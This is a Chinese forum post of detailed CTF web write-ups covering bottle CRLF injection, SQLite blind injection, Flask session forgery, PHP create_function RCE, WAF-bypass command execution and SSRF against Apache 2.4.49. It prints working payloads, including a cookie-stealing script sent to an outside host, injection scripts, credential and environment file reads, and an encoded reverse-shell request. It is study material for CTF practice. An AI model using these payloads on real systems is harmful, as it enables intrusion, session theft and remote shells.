最近做的一些有意思的ctf赛题详细分析
1398133550745333 发表于 四川 CTF 632浏览 · 2024-12-17 13:53

最近做的一些有意思的ctf赛题详细分析

bottle

考察知识

CRLF绕过csp,bottle框架,阻止跳转的方法

解题

bottle CVE-2016-9964

它是一个轻量级的python web框架,题目和名字描述是一样的,采用的是bottle 框架,框架存在漏洞(CVE-2016-9964),HTTP头注入的问题。
为了讲清楚这个http头注入的问题,就得了解一下http的head和body是如何划分,我引用p神的一篇文章
CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。
举个例子,一般网站会在HTTP头中用Location: http://baidu.com这种方式来进行302跳转,所以我们能控制的内容就是Location:后面的XXX某个网址。

所以一个正常的302跳转包是这样:

HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
但如果我们输入的是

http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun

注入了一个换行,此时的返回包就会变成这样:

HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content-Type: text/html 
Content-Length: 154 
Connection: close 
Location: http://www.sina.com.cn 
Set-cookie: JSPSESSID=wooyun

这个时候这样我们就给访问者设置了一个SESSION,造成一个“会话固定漏洞”。

当然,HRS并不仅限于会话固定,通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS。

比如一个网站接受url参数http://test.sina.com.cn/?url=xxx,xxx放在Location后面作为一个跳转。如果我们输入的是:

http://test.sina.com.cn/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

我们的返回包就会变成这样:

HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content-Type: text/html 
Content-Length: 154 
Connection: close 
Location:

<img src=1 onerror=alert(/xss/)>

之前说了浏览器会根据第一个CRLF把HTTP包分成头和体,然后将体显示出来。于是我们这里这个标签就会显示出来,造成一个XSS。
下面回到这个漏洞

复现漏洞简单的代码理解

import bottle
from bottle import route, run, template, request, response

@route('/')
def index():
    path = request.query.get('path', 'https://www.leavesongs.com')
    return bottle.redirect(path)

if __name__ == '__main__':
    bottle.debug(True)
    run(host='localhost', port=8081)

这里还是使用的redirect,但重申一下这个漏洞和redirect函数没有任何关系。因为redirect函数是向response中插入一个HTTP头,也就是Location: xxx,所以存在头注入。redirect函数有个性质
其中使用了一个urljoin,将当前url和我传入的path进行了一次"join",经过这个操作事情就变得很微妙了:Location头一定有一个值。这种情况下,浏览器就不会渲染页面,会直接跳转到Location头指向的地址。也就是说,如果我要利用CRLF构造XSS的话,这里是不会触发的。如果浏览器不解析我构造的东西,那么构造的东西就是无效的。
所以现在的问题就是不能让其发生跳转,需要让浏览器解析后面我xss的内容

两种阻止浏览器跳转的方式(均在火狐浏览器进行)

法1: 将跳转的url端口设为80

法2:使用CSP禁止iframe的跳转

其中的法2利用代码如下:

<?php
header("Content-Security-Policy: frame-src http://localhost:8081/");
?>

<iframe src="http://localhost:8081/?path=http://www.baidu.com/%0a%0dX-XSS-Protection:0%0a%0d%0a%0d<script>alert(location.href)</script>"></iframe>

明白了上面的知识,再来看看这个题目

Not hard, I believe you are the lucky one!
hint1: */3 */10 
hint2: bot use firefoxDriver
URL http://bottle.2018.hctf.io

后端是个 python,根据题目可知这个应用使用了 bottle 框架开发。应用功能是提交一个网址。
我们可以通过path控制localtion
虽然有csp的限制,但我们可以通过crlf漏洞把它变为body内容失去作用
绕过跳转
让Location跳转的地址的端口小于0即可,并且这里可以不用理会Content-Length的问题。因为length在我们location的下方,不然难度会大很多
这里不使用 alert 测试是因为当 URL 中存在引号或括号时会 500,于是将 script 的 src 指向自己服务器的 js 文件即可任意 XSS,最终 payload 如下
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:0/%0A%0D%0A%0D%3Cscript+src=http://srpopty.cn/1.js%3E%3C/script%3E
1.js文件内容如下

var ajax=new XMLHttpRequest();
ajax.open("GET","http://ip/xss/"+document.cookie,true);
ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
ajax.send();

拿到cookie修改获得flag

部分内容引自于https://srpopty.github.io/2018/11/12/HCTF2018-Bottle-Writeup/

sql_by_sql

考察知识

sqlite注入

解题

怎么区分mysql和sqlite

目前就是#注释符sqlite会报错

区别

sqlite和mysql区别不大,不过是一些函数和语法的问题

函数区别

目前知道sqlite不能用ord,ascii,left,right,sleep,mid

语法区别

sqlite的系统表sqlite_master

type    记录项目的类型,如table、index、view、trigger
name    记录项目的名称,如表名、索引名等
tbl_name    记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身
rootpage    记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL
sql    记录创建该项目的SQL语句

一些payload来体会一下

query="-1 or substr((select group_concat(name) from sqlite_master),{},1)>'{}'"
query="-1 or substr((select group_concat(sql) from sqlite_master where name='flag'),{},1)>'{}'"
query="-1 or substr((select flag from flag),{},1)='{}'"
query=select sql from sqlite_master where type='table' and name='flag'#爆列
query=select group_concat(name) from sqlite_master where type='table' 来查表名
query=select group_concat(sql) from sqlite_master where type='table' and name='xxxx'来获取建表语句从而得到字段名

进入页面是个登录注册,登录成功后还可以改密码,登录admin是显示错误,那很容易判断是个二次注入,而且在修改密码界面源码中有

很明显的是单引号闭合方式

修改admin密码

我们创建admin'#的时候取修改竟然报错,说明#注释不了,我们换一种注释符
--空格成功,这里就需要学到新知识了,sqlite注入,这里不详细将,后面会出文章说明’然后成功进入admin界面

可以查询,我们可以猜测这应该就是注入地方,我们抓包

开始注入

判断闭合方式

我们通过1=1和1=2来判断,如果用or前面需要是不在的用户,发现是数字型,
我们以后就先',数字,"。还不行换方式

选择注入方法

毫无疑问这只能布尔盲注,因为只告诉你正确与否

import requests

s = requests.session()
url = "http://node4.anna.nssctf.cn:28658/query"#url头需要query的原因我放在下面
flag = ''
i = 0
headers = {'Cookie': "session=eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.Za4eug.KTgSrk0rnWYGt0IhOroUgfBKgo8"}
while True:
    i = i + 1
    Max = 128
    Min = 32
    Mid = (Max + Min) // 2
    while Min < Max:
        #payload=f"-1 or unicode(substr((select group_concat(name) from sqlite_master),{i},1))>{Mid}"
        #payload=f"-1 or unicode(substr((select group_concat(sql) from sqlite_master where name='flag' limit 0,1),{i},1))>{Mid}"
        payload = f"-1 or unicode(substr((select flag from flag),{i},1))>{Mid}"
        data = {
            'id': payload
        }
        r = requests.post(url=url, data=data,headers=headers)
        if "exist" in r.text:
            Min = Mid + 1
            Mid = (Min + Max) // 2
        else:
            Max = Mid
            Mid = (Min + Max) // 2

    flag = flag + chr(Mid)
    print(flag)

原脚本加了if Mid == 32:break的判断会导致回显不完全,然后这个cookie很重要,url头需要query的原因我放在下面

prizep4

考察知识

flask的session伪造

解题

进入题目随便输入东西后,发现是flask的session伪造,但是需要绕过一个点

@app.route('/getkey', methods=["GET"])
def getkey(): 
    if request.method != "GET": 
        session["key"]=SECRET_KEY

不能使用get方法,我们改post,put都不allowed,那么更换请求方式如HEAD请求得到session,得到一串jwt字符

使用工具flask_session

然后再次伪造

得到源码

from flask import Flask, request, session, render_template, 
    url_for,redirect,render_template_string
    import base64
    import urllib.request
    import uuid
    import flag 

    SECRET_KEY=str(uuid.uuid4())

    app = Flask(__name__)
    app.config.update(dict(
        SECRET_KEY=SECRET_KEY,
    ))

    #src in /app

    @app.route('/')
    @app.route('/index',methods=['GET'])
    def index():
        return render_template("index.html")

    @app.route('/get_data', methods=["GET",'POST'])
    def get_data():
        data = request.form.get('data', '123')
        if type(data) is str:
            data=data.encode('utf8')
        url = request.form.get('url', 'http://127.0.0.1:8888/')
        if data and url:
            session['data'] = data
            session['url'] = url
            session["admin"]=False
            return redirect(url_for('home'))
        return redirect(url_for('/'))

    @app.route('/home', methods=["GET"])
    def home():
        if session.get("admin",False):
            return render_template_string(open(__file__).read())
        else:
            return render_template("home.html",data=session.get('data','Not find data...'))

    @app.route('/getkey', methods=["GET"])
    def getkey():
        if request.method != "GET":
            session["key"]=SECRET_KEY
        return render_template_string('''@app.route('/getkey', methods=["GET"])
    def getkey():
        if request.method != "GET":
            session["key"]=SECRET_KEY''')

    @app.route('/get_hindd_result', methods=["GET"])
    def get_hindd_result():
        if session['data'] and session['url']:
            if 'file:' in session['url']:
                return "no no no"
            data=(session['data']).decode('utf8')
            url_text=urllib.request.urlopen(session['url']).read().decode('utf8')#urllib.request.urlopen() 函数将会返回一个类似文件的对象,可以通过该对象来读取 URL 的内容。为什么我们不直接传入session,非要在这传入,因为decode('utf8'),这里告诉我们需要传入的是原始数据,所以多了一步get_data取值的步骤
            if url_text in data or data in url_text:
                return "you get it"
        return "what ???"

    @app.route('/getflag', methods=["GET"])
    def get_flag():
        res = flag.waf(request)
        return res

    if __name__ == '__main__':
        app.run(host='0.0.0.0', debug=False, port=8888)

审计一下代码
/home就是我们刚刚验证session的地方

/get_data是给session的data和url,admin传入参数

/get_hindd_result就是读取文件,url为session传的url,获取页面数据和传入的data做比较,如果有返回you get it,没有就what???,但是过滤了file,很明显的利用file协议去读文件,大写即可绕过
思考一下读什么文件,我们可以看到引入了flag,那其实一定有文件flag.py
不过看wp都说不好读,读的是环境变量里的proc/self/environ
下面开始写脚本

import string#引入string,方便写list
import requests

url1="http://node4.anna.nssctf.cn:28831/get_data"
url2="http://node4.anna.nssctf.cn:28831/get_hindd_result"
flag="NSSCTF{"
while 1:
    for i in string.printable:
        tmp_flag=flag+i
        data={"url":"File:///proc/self/environ","data":tmp_flag}
        res=requests.session()#获取session的对话
        res.get(url1,data=data)#给session的url和data赋值
        session_tmp=str(res.cookies.values())[2:-2]#res.cookies.values() 返回的是一个 cookies 值的列表。打印出来的值是有['值'],我们只需要值,要进行切片操作,但是必须转化为字符才能截取字符,不然默认为列表切片
        flag_resp=requests.get(url2,cookies={"session":session_tmp})#给cookie赋值,因为读文件是从session取值的
        if "you get it" in flag_resp.text:
            flag+=i
            print(flag)
            break

运行得到flag

CanCanNeed

考察知识

createfunction命令执行和rce绕过

解题

<?php
class Noteasy{
    protected $param1;
    protected $param2;

    function __destruct(){
        $a=$this->param1;
        $b=$this->param2;
        if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) { 
            die('this param is error!'); 
        } else { 
            $a('', $b); 
        }
    }

}
if (!isset($_GET['file'])){    
    show_source('index.php');
    echo "Hi!Welcome to FSCTF2023!";
  }
  else{ 
    $file=base64_decode($_GET['file']); 
    unserialize($file); }
?>

明显的create注入,但是*被过滤,那就//注释替换

然后很多过滤,但是竟然没有过滤system

那就是命令设置为"}system($_GET[1]);//";,细节就是不需要system不需要'包裹,必须双引号闭合,编码一次就够了

然后不能执行phpinfo,

当然如果过滤了system,我们可以文件包含配合伪协议

require(base64_decode(ZmlsZTovLy9mbGFn));
//require(file:///flag)

PYRCE

考察知识

RCE绕过之/过滤,;过滤,cp获得flag,tar获得flag

解题

直接获取到源码

from flask import Flask, request, make_response 
import uuid 
import os 
# flag in /flag 
app = Flask(__name__) 
def waf(rce): 
    black_list = '01233456789un/|{}*!;@#\n`~\'\"><=+-_ ' 
    for black in black_list: 
        if black in rce: 
            return False 
    return True 

@app.route('/', methods=['GET']) 
def index(): 
    if request.args.get("Ňśś"): 
        nss = request.args.get("Ňśś") 
        if waf(nss): 
            os.popen(nss) 
        else: 
            return "waf" 
return "/source" 

@app.route('/source', methods=['GET']) 
def source(): 
    src = open("app.py", 'rb').read() 
    return src 

if __name__ == '__main__': 
    app.run(host='0.0.0.0', debug=False, port=8080)

就是一个绕过waf的rce,很麻烦的就是;和/被过滤,我们可以用cd代替,还有个很麻烦的点就是我们只能看到source的内容

重点

重点就是对payload的理解,先放payload

法一
cp $(cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&echo$(pwd)flag) app.py
cp file.txt file_backup.txt

这个命令将 file.txt 复制到同一目录下的一个名为 file_backup.txt 的新文件中。
&&是等同于;

$() 是命令替换(Command Substitution)的一种语法。它允许将一个命令的输出结果嵌入到另一个命令或表达式中。
content=$(cat file.txt)
在这个例子中,$(cat file.txt) 部分将执行 cat file.txt 命令并获取其输出(文件的内容),然后将该输出赋值给变量 content。

cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&确保返回到根目录,就尽量多点
echo$(pwd)flag得到/flag又用$()则$(cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&echo$(pwd)flag)结果就是/flag

整个命令就是cp /flag app.py就是复制flag的内容到app.py里面
最后访问app.py得到flag,当然app.py是访问不到的,直接去source就行了,因为我们之前看到source里面就是app.py的内容,为什么不直接把内容复制到source里面,因为source有u,被过滤了

法二
mkdir%09static
tar%09czf%09static$(cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)flag.tar.gz%09$(cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)flag
//等效于tar czf static/flag.tar.gz /flag
然后访问./static/flag.tar.gz下载flag

static 目录是用来存放静态资源的

tar 是 Linux 中的一个命令,用于创建和提取归档文件(archive files)。
c 选项表示创建一个新的归档文件。
z 选项表示使用 gzip 压缩算法对归档文件进行压缩。
f 选项后面跟着一个文件名,表示将归档文件输出到指定的文件中。
static/flag.tar.gz 是输出的归档文件的路径和文件名。这里的 static/ 表示将归档文件存储在当前目录下的 static 目录中,flag.tar.gz 是归档文件的名称。
/flag 是要归档的目标文件或目录的路径。在这个例子中,/flag 表示根目录下的 flag 文件或目录。
因此,该命令的作用是将根目录下的 flag 文件或目录打包成一个经过 gzip 压缩的归档文件,并将其保存为 static/flag.tar.gz。

[CISCN 2019华东南]Web4

考察内容

伪随机数

flask的session伪造

file协议的绕过

解题

进入题目点击链接后直接跳到百度了,毫无疑问,ssrf,而且参数都给了url,尝试file读取文件,你妹,file被禁了应该,怎么办,绕一绕,绕半天绕不过,也没心情想,直接wp,发现™的根本不需要file,直接读就完事了!

然后就读一下源码,因为这个web程序是python写的,一般都在app/app.py
果然如此读到源码

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

一目了然if session and session['username'] == 'fuck':,需要控制session,然后又给了key的获取方法

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

uuid.getnode() 会返回一个唯一的标识符(UUID)作为种子,该标识符通常基于计算机的 MAC 地址,我们就去读mac地址url=/sys/class/net/eth0/address读到02:42:ac:02:3c:1d
那我们的种子就是0x0242ac023c1d,然后有一个重点就是python2和python3不一样,这题是2,我们需要用python2去找之后数

获得之后我们就得到key,之后就是伪造session了

然后我们访问flag,修改cookie就得到了flag

反思

file协议绕过不了尝试直接读取,或者直接local_file一样的

MyBox

考察知识

file协议

gopher协议

Apache/2.4.49

解题

看到有个url参数

猜测这里存在SSRF漏洞。尝试伪协议读取/etc/passwd,成功,存在SSRF。

/?url=file:///etc/passwd

一:读取环境变量/proc/1/environ,获得flag。(非预期)

/?url=file:///proc/1/environ

二:读取start.sh

/?url=file:///start.sh

发现源码路径读取源码

读取源码:/?url=file:///app/app.py

from flask import Flask, request, redirect
    import requests, socket, struct
    from urllib import parse
    app = Flask(__name__)

    @app.route('/')
    def index():
        if not request.args.get('url'):
            return redirect('/?url=dosth')
        url = request.args.get('url')
        if url.startswith('file://'):
            with open(url[7:], 'r') as f:
                return f.read()
        elif url.startswith('http://localhost/'):
            return requests.get(url).text
        elif url.startswith('mybox://127.0.0.1:'):
            port, content = url[18:].split('/_', maxsplit=1)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(5)
            s.connect(('127.0.0.1', int(port)))
            s.send(parse.unquote(content).encode())
            res = b''
            while 1:
                data = s.recv(1024)
                if data:
                    res += data
                else:
                    break
            return res
        return ''

    app.run('0.0.0.0', 827)

这是一个使用 Flask 框架编写的简单服务器应用。它的功能包括根据传入的 URL 参数进行不同的操作。

  • 如果 URL 参数中没有指定 ‘url’,则重定向到 ‘/?url=dosth’。
  • 如果 URL 以 ‘file://’ 开头,则根据文件路径读取文件内容并返回。
  • 如果 URL 以 ‘http://localhost/’ 开头,则使用 requests 库发送 GET 请求并返回响应的文本内容。
  • 如果 URL 以 ‘mybox://127.0.0.1:’ 开头,则将剩余部分分割为端口和内容,使用 socket 连接到本地主机(127.0.0.1)的指定端口,并发送解码后的内容,然后接收并返回响应的内容。

如果我们需要探测内网的东西,那据需要gopher协议,这里换成了mybox协议,我们一样的,只需要改就好了。

问题是我们要什么东西呢

我们先随便去打一下

import urllib.parse
    test =\
    """GET /xxx.php HTTP/1.1
    Host: 127.0.0.1:80
    """
    #注意后面一定要有回车,回车结尾表示http请求结束

        tmp = urllib.parse.quote(test)
        new = tmp.replace('%0A','%0D%0A')
        result = 'gopher://127.0.0.1:80/'+'_'+new
        print(result)

得到

gopher://127.0.0.1:80/_GET%20/xxx.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0A%0D%0A

但是代码修改过,我们需要利用mybox进行交互而不是gopher,修改一下 

mybox://127.0.0.1:80/_GET%20/xxx.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0A%0D%0A


这里注意一下,是需要二次URL编码的 

mybox://127.0.0.1:80/_GET%2520/xxx.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250A%250D%250

我们就可以执行命令

import urllib.parse
    payload =\
    """POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
    Host: 127.0.0.1:80
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 58
    echo;bash -c 'bash -i >& /dev/tcp/ip/ports 0>&1'  //填入攻击机ip端口
    """
    #注意后面一定要有回车,回车结尾表示http请求结束。
    tmp = urllib.parse.quote(payload)
    new = tmp.replace('%0A','%0D%0A')
    result = 'gopher://127.0.0.1:80/'+'_'+new
    result = urllib.parse.quote(result)
    print(result) 

      # 这里因为是GET请求发包所以要进行两次url编码
 得到:

    gopher%3A//127.0.0.1%3A80/_POST%2520/cgi-bin/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/bin/sh%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252058%250D%250A%250D%250Aecho%253Bbash%2520-c%2520%2527bash%2520-i%2520%253E%2526%2520/dev/tcp/ip/ports%25200%253E%25261%2527%250D%250A

记得修改为mybox 

    mybox%3A//127.0.0.1%3A80/_POST%2520/cgi-bin/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/bin/sh%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252058%250D%250A%250D%250Aecho%253Bbash%2520-c%2520%2527bash%2520-i%2520%253E%2526%2520/dev/tcp/ip/ports%25200%253E%25261%2527%250D%250A

传参成功进行反弹shell 找到flag

参考https://blog.csdn.net/Leaf_initial/article/details/132633048

反思

file一般会去读哪些文件? gopher伪协议在这里探测内网可以干嘛,ssrf题目的思路一般离不开gopher协议

0 条评论
某人
表情
可输入 255